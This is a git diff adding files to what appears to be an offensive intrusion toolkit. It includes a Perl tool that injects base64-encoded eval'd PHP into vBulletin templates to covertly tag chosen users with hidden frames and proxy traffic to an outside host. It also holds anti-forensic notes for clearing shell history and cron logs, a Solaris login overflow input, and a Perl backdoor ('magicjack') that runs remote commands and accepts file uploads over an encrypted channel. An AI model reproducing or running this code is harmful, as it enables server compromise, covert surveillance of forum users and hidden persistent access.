sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '\".\@eval(',1) WHERE title='$title';"); + } + else{ + $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '\$final_rendered .= \@eval(',1) WHERE title='$title';"); + } + + print "Done\n"; + + $statement->finish(); + + if(verify('".@eval(', $title, 1) == 1) { + print "Clean failed\n"; + } +} + +sub op_cleanall { + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '$codePrefix',1);"); + $statement->finish(); + + $statement = sql_exec( + "SELECT title FROM $DB_table WHERE template LIKE '%$codePrefix%';"); + $statement->fetchrow_array(); + $statement->rows == 0 or die "Clean didn't take.\n"; + print "All clean.\n"; +} + +sub vbVersion { + my $statement = sql_exec( + "SELECT title FROM $DB_table WHERE template LIKE '%\$final_rendered%';"); + $statement->fetchrow_array(); + if((!defined($vbOverride) && $statement->rows == 0) || (defined($vbOverride) && $vbOverride == 3)) { + print "vBulletin version 3.x\n"; + $vbVersion = 3; + $codePrefix = '".@eval(base64_decode("'; + $codeSuffix = '"))."'; + } + else{ + print "vBulletin version 4.x\n"; + $vbVersion = 4; + $codePrefix = '$final_rendered .= @eval(base64_decode("'; + $codeSuffix = '"));'; + } +} + +sub verify { + my $checkString = $_[0]; + my $title = $_[1]; + my $verbose = $_[2]; + + $checkString =~ s/\\/\\\\/g; + + print "Verifying... " if $verbose; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title' and template LIKE '%$checkString%'"); + + $statement->fetchrow_array(); + + my $row_count = $statement->rows; + + $statement->finish(); + + if($row_count == 0) { + print "Patch is NOT in the database.\n" if $verbose; + return 0; + } else { + print "Patch is in the database.\n" if $verbose; + return 1; + } +} + +sub sql_exec { + my $stat = $_[0]; + + #print "SQL: $stat\n"; + + my $statement = $DB_con->prepare($stat); + $statement->execute() or die "Error executing statement: @!"; + + return $statement; +} + +sub validateTemplate { + my $template = $_[0]; + + my $statement = sql_exec("SELECT template FROM template WHERE title = '$template'"); + while (my @row = $statement->fetchrow_array()) { + checkPhpSyntax($row[0]) or return 0; + } + + return 1; + +} + +{ +my $php; +sub checkPhpSyntax { + my $code = $_[0]; + + # look for php + if (not defined($php)) { + foreach my $p (split(':', $ENV{PATH})) { + if (-x "$p/php") { + $php = "$p/php"; + last; + } + } + + if (not defined($php)) { + print "Warning: Failed to find php command line.\n"; + print "We couldn't validate the modified template, but you are probably ok.\n"; + $php = "0"; + } + } + + if (defined($php) and $php ne "0") { + my $pid = open(PHP, "|-", "$php -H -l -n -d log_errors=Off &>/dev/null"); + print PHP $code; + close(PHP); + if (not WIFEXITED($?) and not WEXITSTATUS($?) == 0) { + return 0; + } + } + + return 1; +}} + +sub existsUser { + my $u = $_[0]; + + my $statement = sql_exec("SELECT username FROM user WHERE username='$u'"); + while (my @r = $statement->fetchrow_array()) {} + return 1 if ($statement->rows > 0); + return 0; +} + +sub getUserList { + my $lst = $_[0]; + my $lsth = $_[1]; + my @users = (); + + if (defined($lst)) { + push @users, split(',', join(',', @$lst)); + } + + if (defined($lsth)) { + my @hstrs = split(',', join(',', @$lsth)); + my @str = (); + foreach my $s (@hstrs) { + $s =~ /^[a-fA-F0-9]+$/ or die "Invalid hex string: $s\n"; + length($s) % 2 == 0 or die "Invalid hex string length: $s\n"; + push @users, pack("C*", map(hex, unpack("(A2)*", $s))) + } + } + + return @users; +} + +sub getPostList { + my $lst = $_[0]; + my @posts = (); + + if (defined($lst)) { + push @posts, split(',', join(',', @$lst)); + } + + return @posts; +} + + + +sub getVbVersion() { + my $stat = sql_exec("SELECT value FROM setting WHERE varname = 'templateversion'"); + my @row = $stat->fetchrow(); + $stat->finish(); + if (@row == 0) { + return undef; + } + else { + return $row[0]; + } +} + + +sub read_config { + my $file = $_[0]; + + my $line; + + my $junk; + my $major; + my $minor; + my $field; + my $value; + + open (IN, "<$file") or die "Can't open ($file) $!\n"; + + while($line = ) { + $line = trim($line); + if( !($line =~ m/^[\/\/\#]/) and $line =~ m/\$config/) { + ($major, $value) = split(/=/, $line, 2); + + $value = trim($value); + $value =~ s/[ ;\']//g; + + ($junk, $major, $junk, $minor, $junk) = split(/\'/, $major); + + $field = "$major$minor"; + if($field eq "Databasedbname") { + $DB_name = $value; + } elsif($field eq "Databasetableprefix") { + $DB_table = "$value$DB_table"; + } elsif($field eq "MasterServerservername") { + $DB_host = $value; + } elsif($field eq "MasterServerport") { + $DB_port = $value; + } elsif($field eq "MasterServerusername") { + $DB_user = $value; + } elsif($field eq "MasterServerpassword") { + $DB_pass = $value; + } + } + } + + close(IN); +} + +sub trim { + my $string = $_[0]; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} + +sub run { + my $cmd = $_[0]; + + print "CMD: $cmd\n"; + print `$cmd`; +} + +sub getBase64Encode { + my $enc = encode_base64($_[0]); + $enc =~ s/\n//g; + $enc; +} + +sub getBase64File { + my $filename = $_[0]; + my $contents; + + + open(IN, "<$filename") or die "Couldn't open file $filename: $!\n"; + + binmode(IN); + $contents = encode_base64(do { local $/; }); + close(IN); + + $contents =~ s/\n//g; + $contents; +} + +sub isBinary { + my $str = $_[0]; + my $byte; + my $binary = 0; + + foreach $byte (split(//, $str)){ + if(ord($byte) > 127){ + $binary = 1; + } + } + return $binary; +} + +sub getPrintable { + my $str = $_[0]; + my $byte; + + if(isBinary($str)){ + unpack("H*",$str); + } + else{ + $str; + } +} + +sub makeTagCode { + my $contents; + my $text; + my ($text2, $text3, $text4, $text5); # used to build the code interactively + my $urlBuild; + my $crumbBuild = "''"; + my $bl; + my $postl; + my $proxyUrl; + my $proxyTo; + my $doSSL = ""; + + print "BL: $blackList\n"; + foreach my $b (split(/,/, $blackList)) { + $bl .= " and \$md !== '" . trim($b) . "'"; + } + + my @users = getUserList(\@excludeList, \@excludeListHex); + my $msg = "Exclude: "; + my $exp = ""; + foreach my $u (@users) { + #existsUser($u) or die "User '$u' does not exist in database.\n"; + #existsUser($u) or die "User '" . getPrintable($u) . "' does not exist in database.\n"; + existsUser($u) or die "User '" . $u . "' (" . unpack("H*",$u) . ") does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $bl .= " and \$md !== '$xu'"; + } + $bl .= $exp if length($exp) > 0; + print "$msg\n"; + + @users = getUserList(\@includeList, \@includeListHex); + $msg = "Include: "; + $exp = ""; + foreach my $u (@users) { + #existsUser($u) or die "User '$u' does not exist in database.\n"; + existsUser($u) or die "User '" . $u . "' (" . unpack("H*",$u) . ") does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $exp .= " or \$md == '$xu'"; + } + $bl .= " and (false $exp)" if length($exp) > 0; + print "$msg\n"; + print "filter exp: true $bl\n" if $verbose; + + if(@postList){ + $exp = ""; + my @posts = getPostList(\@postList); + foreach my $p (@posts) { + $exp .= " or \$v->GPC['postid'] == $p"; + } + $postl .= " and (false $exp)" if length($exp) > 0; + print "post exp: true $postl\n" if $verbose; + } + + $tagUrl =~ s/[\r\t\n]//g; + $tagUrl = trim($tagUrl); + + #if($tagUrl =~ m/\.html$/) { + #die "Tag should not be ending with '.html' (it's automatically appended), check to make sure you entered it correctly!\n"; + #} + + if($tagUrl =~ m/^(http|https):\/\//) { + die "Tag should not start with http:// or https:// (those are automatically prepended), check to make sure you entered it correctly!\n"; + } + + + if(($op eq "proxy") || ($op eq "proxytag")){ + ($proxyTo, $proxyUrl) = split(/\//, $tagUrl, 2); + my $u = "$proxyPage/$proxyUrl"; + $urlBuild = '$htt = "'.$u.'";'; + } elsif(!$http) { + $urlBuild = '$htt = "' . $tagUrl . '";'; + } else { + if($sslOP eq "ssloff") { + $doSSL = "or isset(\$_SERVER['HTTPS'])"; + $urlBuild = '$htt = "http://' . $tagUrl . '";'; + } elsif($sslOP eq "mixed") { + $urlBuild = <' +END + } + + $text = <datastore) $doSSL) { + return ""; +} + +// Get pointers +\$bd = 'build_datastore'; +\$v =& \$vbulletin; +\$d =& \$v->datastore; +\$r =& \$d->registry; + +// Get local state, username and array with switch and ctime +\$n = \$_SERVER['SERVER_ADDR'] . \$r->config['MasterServer']['servername']; +\$u = \$v->userinfo['username']; +\$k = substr(md5("$userHashSalt" . \$n), 0, 15); +\$d->fetch(array(\$k)); + +clearstatcache(); +\$st = stat("showthread.php"); +\$st[10] = 1258466920; + +// Initialize. This is the first run. +if(!isset(\$r->\$k)) { + \$tmp[0] = true; + \$tmp[1] = \$st[10]; + + \$bd(\$k, serialize(\$tmp), 1); + \$d->fetch(array(\$k)); + + // Don't tag if, for whatever reason, we can't save state. + // Same length is used for username. So if this key is saved + // then the username should be saved. + if(!isset(\$r->\$k)) { + return ""; + } +} + +// We don't want to tag if the switch is off or showthread's ctime (st[10]) has changed. +\$rk =& \$r->\$k; +if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); +} + +if(\$rk[0] == false OR \$rk[1] !== \$st[10]) { + return ""; +} + +if(THIS_SCRIPT=='showthread' or (THIS_SCRIPT=='private' and + (\$_REQUEST['do']=='newpm' or \$_REQUEST['do'] == 'showpm'))){ + + \$eu=urlencode(\$u); + \$md = md5(\$u); + if(true$bl) { + \$td = time(); +END + + if($minutes){ # separate this group from the others, notice '4' + $text2 = <userinfo['salt'] . '4'), 0, 15); +END + } + else{ + $text2 = <userinfo['salt']), 0, 15); +END + } + + # this always happens + $text3 = <fetch(array(\$key)); + + if(!isset(\$r->\$key)) { + \$bd(\$key, serialize(array('')), 1); + \$d->fetch(array(\$key)); + } + + \$rk =& \$r->\$key; + if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); + } + if(preg_match('/^(64\.38\.3\.50|195\.28\.|94\.102\.|91\.93\.|41\.130\.|212\.118\.|79\.173\.|85\.159\.|94\.249\.|86\.108\.)/',IPADDRESS)){ + return ""; + } +END + + # when viewing a particular thread (defined by -postlist), always tag immediately + if(@postList){ + $text4 = <'; + } +END + } + # this is the normal case. tag randomly every so often + else{ + $text4 = <= $tagTime) { + \$rk[0] = \$td; + \$rk[1] = rand(0, $tagInt); + + \$bd(\$key, serialize(\$rk), 1); + } + + if(\$rk[1] > 0) { + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + } + else if(\$rk[1] == 0) { + // should make it -1 and stop tagging for today. + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + + $urlBuild + \$scroll='no'; + if (preg_match('/iPhone/',\$_SERVER['HTTP_USER_AGENT'])){ + \$scroll='yes'; + } + return $crumbBuild . ''; + } +END + } + +# finish the code, could put it in $text4, but then the code looks weird with the parens +$text5 = < 0){ + \$query = \$_SERVER['QUERY_STRING']; + if(strlen(\$query) > 1){ + \$fa = "http://\$fahost/\$new_path?\$query"; + } + else{ + \$fa = "http://\$fahost/\$new_path"; + } +} + +\$refer = \$_SERVER['HTTP_REFERER']; +\$lang = \$_SERVER['HTTP_ACCEPT_LANGUAGE']; +\$forw = \$_SERVER['HTTP_X_FORWARDED_FOR']; +\$url_info = parse_url(\$fa); +\$query = isset(\$url_info["query"]) ? "?" . \$url_info["query"] : ""; +\$req = "\$meth " . \$url_info["path"] . \$query . " HTTP/1.1\\r\\n"; +\$req .= "Host: " . \$proxyhost . "\\r\\n"; +\$req .= "User-Agent: " . \$agent . "\\r\\n"; +\$req .= "Accept-Language: " . \$lang . "\\r\\n"; +if(strlen(\$script) > 0){ + \$req .= "From: " . \$script . "\\r\\n"; +} +if(!empty(\$_SERVER['HTTP_X_FORWARDED_FOR'])){ + \$req .= "X-Forwarded-For: " . \$forw . ", " . \$_SERVER['REMOTE_ADDR'] . "\\r\\n"; +} +else{ + \$forw = \$_SERVER['REMOTE_ADDR']; + \$req .= "X-Forwarded-For: " . \$forw . "\\r\\n"; +} +\$req .= "Referer: " . \$refer . "\\r\\n"; +\$req .= "Connection: close\\r\\n"; +if (0 == strcasecmp(\$meth,"POST")) { + \$req .= "Content-Length: " . strlen(\$body); + \$req .= "\\r\\n\\r\\n"; + \$req .= \$body; +} +else { + \$req .= "\\r\\n"; +} + +\$port = isset(\$url_info["port"]) ? \$url_info["port"] : 80; +\$fp = fsockopen(\$url_info["host"],\$port,\$errno,\$errstr,30); +if(!\$fp){ + exit(); +} +fwrite(\$fp,\$req); +stream_set_timeout(\$fp,60); +\$res = ""; +while(!feof(\$fp)){ + \$res .= fgets(\$fp,128); +} +fclose(\$fp); +\$res = \@explode("\\r\\n\\r\\n",\$res,2); +\$header = \$res[0]; +\$page = \$res[1]; + +\$headers = explode("\\r\\n",\$header); +foreach(\$headers as \$value){ + \$a = ""; + \$b = ""; + list(\$a,\$b) = explode(":",\$value); + \$http_header[trim(\$a)] = trim(\$b); + if((\$_SERVER['HTTPS']) && (preg_match("/Pragma: no-cache|Cache-Control: no-cache, no-store/",\$value))){ + + } + else{ + header(\$value); + } +} + +\$size = \$http_header["Content-Length"]; +\$type = \$http_header["Content-Type"]; + +//if(empty(\$http_header['Content-Type'])){ +if(empty(\$http_header['Content-Type']) && empty(\$http_header['Content-type'])){ + \$type = 'text/html'; +} + +//if(preg_match("/\$proxyhost/",\$page)){ +// \$text = preg_replace("/\$proxyhost/", \$proxy, \$page); +// \$size = strlen(\$text); +//} +//else{ + \$text = \$page; +//} +if (eregi('text/html',\$type)){ + header("Content-Type: text/html;charset="); +} +if((\$_SERVER['HTTPS']) && (preg_match("/http:\\\/\\\/\$proxyhost/",\$text))){ + \$text = preg_replace("/http:\\\/\\\/\$proxyhost/", "https://\$proxyhost", \$text); + \$size++; +} +header("Content-Length: \$size"); +if (0 == strcasecmp(\$meth,"POST")) { + \$hash = \$_COOKIE['bbsessionhash']; + \$hash = substr(\$hash,0,32); + header("Set-Cookie: bbsessionhash=" . \$hash . "; path=/; HttpOnly"); +} +else if (preg_match("/GIF89a|PDF-/",\$text)){ + \$hash = md5(mt_rand()); + header("Set-Cookie: bbsessionhash=" . \$hash . "; path=/; HttpOnly"); +} + +print \$text; +exit(0); +} +END + + checkPhpSyntax($text) or die "Proxy code has a PHP syntax error.\n"; + + my $prepared = prepareCode($text); + #print "---- CODE ----\n$text\n---- CODE ----\n"; + + return $prepared; +} + +sub prepareCode { + my $text = $_[0]; + + my $contents = ""; + + foreach my $line (split(/\n/, $text)) { + $line = trim($line); + my $append = " "; + + if($line ne "" and not ($line =~ m/^\/\//)) { + if($line =~ m/[\;\)\}\{]$/) { + $append = ""; + } + + #optimize: + $line =~ s/\) \{/\)\{/g; + $line =~ s/ == /==/g; + $line =~ s/ !== /!==/g; + $line =~ s/ = /=/g; + $line =~ s/ - /-/g; + $line =~ s/ =& /=&/g; + $line =~ s/, /,/g; + $line =~ s/ > />/g; + $line =~ s/\} else/\}else/g; + $line =~ s/ \. /\./g; + + $contents .= $line . $append; + } + } + + return getBase64Encode($contents); +} diff --git a/Linux/up/gnufind41.hpux11 b/Linux/up/gnufind41.hpux11 new file mode 100755 index 0000000..f2d1c4e Binary files /dev/null and b/Linux/up/gnufind41.hpux11 differ diff --git a/Linux/up/gnufind41.hpux11static b/Linux/up/gnufind41.hpux11static new file mode 100755 index 0000000..2c2ba1d Binary files /dev/null and b/Linux/up/gnufind41.hpux11static differ diff --git a/Linux/up/gnugrep25.hpux11 b/Linux/up/gnugrep25.hpux11 new file mode 100755 index 0000000..9e1135b Binary files /dev/null and b/Linux/up/gnugrep25.hpux11 differ diff --git a/Linux/up/gnugrep25.hpux11static b/Linux/up/gnugrep25.hpux11static new file mode 100755 index 0000000..3b715d5 Binary files /dev/null and b/Linux/up/gnugrep25.hpux11static differ diff --git a/Linux/up/gr.notes b/Linux/up/gr.notes new file mode 100644 index 0000000..c5b8923 --- /dev/null +++ b/Linux/up/gr.notes @@ -0,0 +1,13 @@ +ls -la /usr/share/redmin/cgi/redmin + +cd /tmp/.scsi +tar xvfj gr.tbz2 +./gr +# unset HISTFILE +# unset HISTSIZE +# unset HISTFILESIZE + +check /var/log/cron +delete starting from: (root) LIST (root) +going to: (root) LIST (hacluster) + diff --git a/Linux/up/gr.tbz2 b/Linux/up/gr.tbz2 new file mode 100644 index 0000000..3d9abd9 Binary files /dev/null and b/Linux/up/gr.tbz2 differ diff --git a/Linux/up/gsh b/Linux/up/gsh new file mode 100755 index 0000000..ecf558e Binary files /dev/null and b/Linux/up/gsh differ diff --git a/Linux/up/h b/Linux/up/h new file mode 100755 index 0000000..a3d6c09 Binary files /dev/null and b/Linux/up/h differ diff --git a/Linux/up/hidelite.solaris b/Linux/up/hidelite.solaris new file mode 100755 index 0000000..6869fd3 Binary files /dev/null and b/Linux/up/hidelite.solaris differ diff --git a/Linux/up/it b/Linux/up/it new file mode 100755 index 0000000..d6321aa Binary files /dev/null and b/Linux/up/it differ diff --git a/Linux/up/itime-it.sparc-sun-solaris2.8 b/Linux/up/itime-it.sparc-sun-solaris2.8 new file mode 100644 index 0000000..d6321aa Binary files /dev/null and b/Linux/up/itime-it.sparc-sun-solaris2.8 differ diff --git a/Linux/up/itime-it.sparc-sun-solaris2.8_sparcv9 b/Linux/up/itime-it.sparc-sun-solaris2.8_sparcv9 new file mode 100644 index 0000000..2c85336 Binary files /dev/null and b/Linux/up/itime-it.sparc-sun-solaris2.8_sparcv9 differ diff --git a/Linux/up/itime.hppa1.1-hp-hpux10.20 b/Linux/up/itime.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..0ae5d20 Binary files /dev/null and b/Linux/up/itime.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/itime.hppa2.0-hp-hpux10.20 b/Linux/up/itime.hppa2.0-hp-hpux10.20 new file mode 100644 index 0000000..0ae5d20 Binary files /dev/null and b/Linux/up/itime.hppa2.0-hp-hpux10.20 differ diff --git a/Linux/up/itime.hppa2.0w-hp-hpux11.00 b/Linux/up/itime.hppa2.0w-hp-hpux11.00 new file mode 100644 index 0000000..e60566c Binary files /dev/null and b/Linux/up/itime.hppa2.0w-hp-hpux11.00 differ diff --git a/Linux/up/itime.hppa2.0w-hp-hpux11.11 b/Linux/up/itime.hppa2.0w-hp-hpux11.11 new file mode 100644 index 0000000..bdde792 Binary files /dev/null and b/Linux/up/itime.hppa2.0w-hp-hpux11.11 differ diff --git a/Linux/up/itime.i386-pc-solaris2.6 b/Linux/up/itime.i386-pc-solaris2.6 new file mode 100644 index 0000000..ac30308 Binary files /dev/null and b/Linux/up/itime.i386-pc-solaris2.6 differ diff --git a/Linux/up/itime.i386-pc-solaris2.7 b/Linux/up/itime.i386-pc-solaris2.7 new file mode 100644 index 0000000..8ed7737 Binary files /dev/null and b/Linux/up/itime.i386-pc-solaris2.7 differ diff --git a/Linux/up/itime.i386-pc-solaris2.8 b/Linux/up/itime.i386-pc-solaris2.8 new file mode 100644 index 0000000..3d48420 Binary files /dev/null and b/Linux/up/itime.i386-pc-solaris2.8 differ diff --git a/Linux/up/itime.i386-pc-solaris2.9 b/Linux/up/itime.i386-pc-solaris2.9 new file mode 100644 index 0000000..707aa54 Binary files /dev/null and b/Linux/up/itime.i386-pc-solaris2.9 differ diff --git a/Linux/up/itime.i686-pc-linux-gnu-2.2.14-5.0 b/Linux/up/itime.i686-pc-linux-gnu-2.2.14-5.0 new file mode 100644 index 0000000..6e273d4 Binary files /dev/null and b/Linux/up/itime.i686-pc-linux-gnu-2.2.14-5.0 differ diff --git a/Linux/up/itime.i686-pc-linux-gnulibc1-slackware-4.0.0 b/Linux/up/itime.i686-pc-linux-gnulibc1-slackware-4.0.0 new file mode 100644 index 0000000..e177ded Binary files /dev/null and b/Linux/up/itime.i686-pc-linux-gnulibc1-slackware-4.0.0 differ diff --git a/Linux/up/itime.powerpc-ibm-aix4.3.2.0 b/Linux/up/itime.powerpc-ibm-aix4.3.2.0 new file mode 100644 index 0000000..a2e2c05 Binary files /dev/null and b/Linux/up/itime.powerpc-ibm-aix4.3.2.0 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.4 b/Linux/up/itime.sparc-sun-solaris2.4 new file mode 100644 index 0000000..01cac98 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.4 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.5 b/Linux/up/itime.sparc-sun-solaris2.5 new file mode 100644 index 0000000..5226649 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.5 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.5.1 b/Linux/up/itime.sparc-sun-solaris2.5.1 new file mode 100644 index 0000000..6c1b878 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.5.1 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.6 b/Linux/up/itime.sparc-sun-solaris2.6 new file mode 100644 index 0000000..c45e586 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.6 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.7 b/Linux/up/itime.sparc-sun-solaris2.7 new file mode 100644 index 0000000..7261c0e Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.7 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.7_sparcv9 b/Linux/up/itime.sparc-sun-solaris2.7_sparcv9 new file mode 100644 index 0000000..8e35f60 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.7_sparcv9 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.8 b/Linux/up/itime.sparc-sun-solaris2.8 new file mode 100644 index 0000000..d6321aa Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.8 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.8_sparcv9 b/Linux/up/itime.sparc-sun-solaris2.8_sparcv9 new file mode 100644 index 0000000..2c85336 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.8_sparcv9 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.9 b/Linux/up/itime.sparc-sun-solaris2.9 new file mode 100644 index 0000000..112fa37 Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.9 differ diff --git a/Linux/up/itime.sparc-sun-solaris2.9_sparcv9 b/Linux/up/itime.sparc-sun-solaris2.9_sparcv9 new file mode 100644 index 0000000..2427d0d Binary files /dev/null and b/Linux/up/itime.sparc-sun-solaris2.9_sparcv9 differ diff --git a/Linux/up/jackhelper.tar.bz2 b/Linux/up/jackhelper.tar.bz2 new file mode 100644 index 0000000..3a43ceb Binary files /dev/null and b/Linux/up/jackhelper.tar.bz2 differ diff --git a/Linux/up/jackpop b/Linux/up/jackpop new file mode 100755 index 0000000..070281d Binary files /dev/null and b/Linux/up/jackpop differ diff --git a/Linux/up/jackpop.old b/Linux/up/jackpop.old new file mode 100755 index 0000000..4e538b9 Binary files /dev/null and b/Linux/up/jackpop.old differ diff --git a/Linux/up/jackpop.v2 b/Linux/up/jackpop.v2 new file mode 100755 index 0000000..070281d Binary files /dev/null and b/Linux/up/jackpop.v2 differ diff --git a/Linux/up/km3 b/Linux/up/km3 new file mode 100755 index 0000000..19b8542 Binary files /dev/null and b/Linux/up/km3 differ diff --git a/Linux/up/libXmexploit2.8 b/Linux/up/libXmexploit2.8 new file mode 100755 index 0000000..3ec735f Binary files /dev/null and b/Linux/up/libXmexploit2.8 differ diff --git a/Linux/up/lnxlocale b/Linux/up/lnxlocale new file mode 100755 index 0000000..0af10b4 Binary files /dev/null and b/Linux/up/lnxlocale differ diff --git a/Linux/up/login_local b/Linux/up/login_local new file mode 100755 index 0000000..3f38ce1 --- /dev/null +++ b/Linux/up/login_local @@ -0,0 +1,18 @@ +#!/usr/bin/perl + +print "\n\nThis bug is based on an overflow in /bin/login.\n"; +print "The patches for it are :\n"; +print "2.6\t\t105665-04\n"; +print "2.7\t\t112300-01\n"; +print "2.8\t\t111085-01\n"; +print "\n\n"; +print "At the prompt, cut and paste the following\n\n"; +print "TTYPROMPT=aaaaa; export TTYPROMPT; exec login"; + +print "\n"; + +print "root"; +print " c" x 64; +print "\\n"; +print "\n\n"; + diff --git a/Linux/up/magicjack/magicjack_v1.0.0.1_magicjack.pl b/Linux/up/magicjack/magicjack_v1.0.0.1_magicjack.pl new file mode 100755 index 0000000..ba86eff --- /dev/null +++ b/Linux/up/magicjack/magicjack_v1.0.0.1_magicjack.pl @@ -0,0 +1,673 @@ +#!/usr/bin/env perl + +use strict; +use Socket; + +$| = 1; + +my $DC = ""; +my $N = "f8f5f6d9b3d52b11328f0c449ab841412de18f69f879d83b0505427fda22096c9849405d0918703835ec59021d6cc52cfa4009e152d1cdc6b74a2a1770b7bcb294354ed3cc93281634655e7acbab2d8de042325a64018743a0a8fb51e362a76ecea16f658769763657b2bbfd3f6ba1d428bfc599dc959ad8758d8d747268ba69"; +my $E = "10001"; +my $K = ""; +my $single = 0; +my $sz_chk = "x8jV"; + +my $CMD_COMMAND = "\x01"; +my $CMD_UPLOAD = "\x02"; + +main(); + +sub main { + my @dc_bins = ('/usr/bin/dc', '/bin/dc', '/usr/local/bin/dc'); + my ($addr, $port, $caddr, $pid); + my @aaddrs = (); + my @asports = (); + + if($single == 0) { + $pid = fork(); + if($pid != 0) { + return; + } + } + + srand(time() ^ ($$ + ($$ << 15))); + + foreach my $bin (@dc_bins) { + if(-e $bin && -X $bin) { + $DC = $bin; + last; + } + } + + if(!exists($ENV{"A"}) || !exists($ENV{"B"})) { + exit(1); + } + + $addr = $ENV{"A"}; + $port = $ENV{"B"}; + + if(exists($ENV{"C"})) { + @aaddrs = split(/,/, $ENV{"C"}); + } + + if(exists($ENV{"D"})) { + @asports = split(/,/, $ENV{"D"}); + } + + socket(SSOCK, PF_INET, SOCK_STREAM, (getprotobyname('tcp'))[2]) + or die("socket\n"); + setsockopt(SSOCK, SOL_SOCKET, SO_REUSEADDR, 1); + bind(SSOCK, pack("SnCCCCx8", AF_INET, $port, split(/\./, $addr))) + or die("bind\n"); + listen(SSOCK, 1) + or die("listen\n"); + + if($single == 0) { + close(STDIN); + close(STDOUT); + close(STDERR); + } + + while($caddr = accept(CSOCK, SSOCK)) { + my ($type, $cl_port, @cl_ips) = unpack("SnC4", $caddr); + my $cl_ip = join(".", @cl_ips); + + if(scalar(@aaddrs) > 0) { + if(scalar(grep(/$cl_ip/, @aaddrs)) == 0) { + close(CSOCK); + next; + } + } + + if(scalar(@asports) > 0) { + if(scalar(grep(/$cl_port/, @asports)) == 0) { + close(CSOCK); + next; + } + } + + handle_client(\*CSOCK); + close(CSOCK); + $K = ""; + } +} + +sub handle_client { + my ($sock) = @_; + my ($size, $data, $cmd_type, $cmd, $res); + + $K = handshake($sock); + + if($K eq "") { + return; + } + + while(1) { + $size = recv_size($sock); + if($size == -1) { + last; + } + + $data = recv_data($sock, $size); + if($data eq "") { + last; + } + + $cmd_type = substr($data, 0, 1); + $cmd = substr($data, 1); + + if($cmd_type eq $CMD_COMMAND) { + $res = `$cmd 2>&1`; + if(send_data($sock, $res) != 0) { + last; + } + } + elsif($cmd_type eq $CMD_UPLOAD) { + if(handle_upload($cmd) == 0) { + if(send_data($sock, "ok") != 0) { + last; + } + } + else { + if(send_data($sock, "no") != 0) { + last; + } + } + } + else { + if(send_data($sock, "no") != 0) { + last; + } + } + + $cmd = undef; + undef $cmd; + $res = undef; + undef $res; + } +} + +sub handshake { + my ($fh) = @_; + my ($key, $pad, $enc); + + $key = rand_bytes(24); + $pad = rand_bytes(103); + $enc = rsa($N, $E, 1, "$key$pad"); + + if($enc eq "") { + return ""; + } + + if(sendall($fh, $enc) <= 0) { + return ""; + } + + return $key; +} + +sub handle_upload { + my ($data) = @_; + my ($null_idx, $path, $file); + + $null_idx = index($data, "\x00"); + $path = substr($data, 0, $null_idx); + $file = substr($data, $null_idx + 1); + + open(my $fh, ">$path") + or return -1; + print $fh $file; + close($fh); + + return 0; +} + +sub send_data { + my ($fh, $data) = @_; + my ($iv1, $iv2, $len, $len_str, $buf); + + $iv1 = rand_bytes(8); + $iv2 = rand_bytes(8); + $len_str = pack("N", length($data)) . $sz_chk; + + $buf = $iv1; + $buf .= des3_cbc($K, $len_str, 1, $iv1); + $buf .= $iv2; + $buf .= des3_cbc($K, $data, 1, $iv2); + + if(sendall($fh, $buf) <= 0) { + return -1; + } + + return 0; +} + +sub recv_data { + my ($fh, $plain_len) = @_; + my ($data, $iv, $plain, $len); + + $len = $plain_len + ((8 - ($plain_len % 8)) % 8); + $data = recvall($fh, 8 + $len); + + if($data eq "") { + return ""; + } + + $iv = substr($data, 0, 8); + $plain = des3_cbc($K, substr($data, 8, $len), 0, $iv); + + return substr($plain, 0, $plain_len); +} + +sub recv_size { + my ($fh) = @_; + my ($data, $iv, $hdr, $size); + + $data = recvall($fh, 16); + + if(length($data) != 16) { + return -1; + } + + $iv = substr($data, 0, 8); + $hdr = des3_cbc($K, substr($data, 8, 8), 0, $iv); + $size = unpack("N", substr($hdr, 0, 4)); + + if(substr($hdr, 4, 4) ne $sz_chk) { + return -1; + } + return $size; +} + +sub sendall { + my ($fh, $msg) = @_; + my ($len, $num_sent, $ret); + + $len = length($msg); + $num_sent = 0; + + while($num_sent < $len) { + $ret = syswrite($fh, $msg, $len - $num_sent, $num_sent); + if(!defined($ret) || $ret == 0) { + return -1; + } + + $num_sent += $ret; + } + + return $num_sent; +} + +sub recvall { + my ($fh, $len) = @_; + my ($buf, $data, $tot, $nrecv); + my ($nfound, $rin, $tmout); + + $data = ""; + $tot = 0; + + $tmout = 30; + $rin = ""; + vec($rin, fileno($fh), 1) = 1; + + while($tot < $len) { + $nfound = select($rin, undef, undef, $tmout); + if($nfound == 0) { + return ""; + } + + $nrecv = sysread($fh, $buf, $len - $tot); + if($nrecv == 0) { + return ""; + } + + $data .= $buf; + $tot += $nrecv; + } + + return $data; +} + +sub rand_bytes { + my ($num) = @_; + my $r = ""; + + while($num-- > 0) { + $r .= 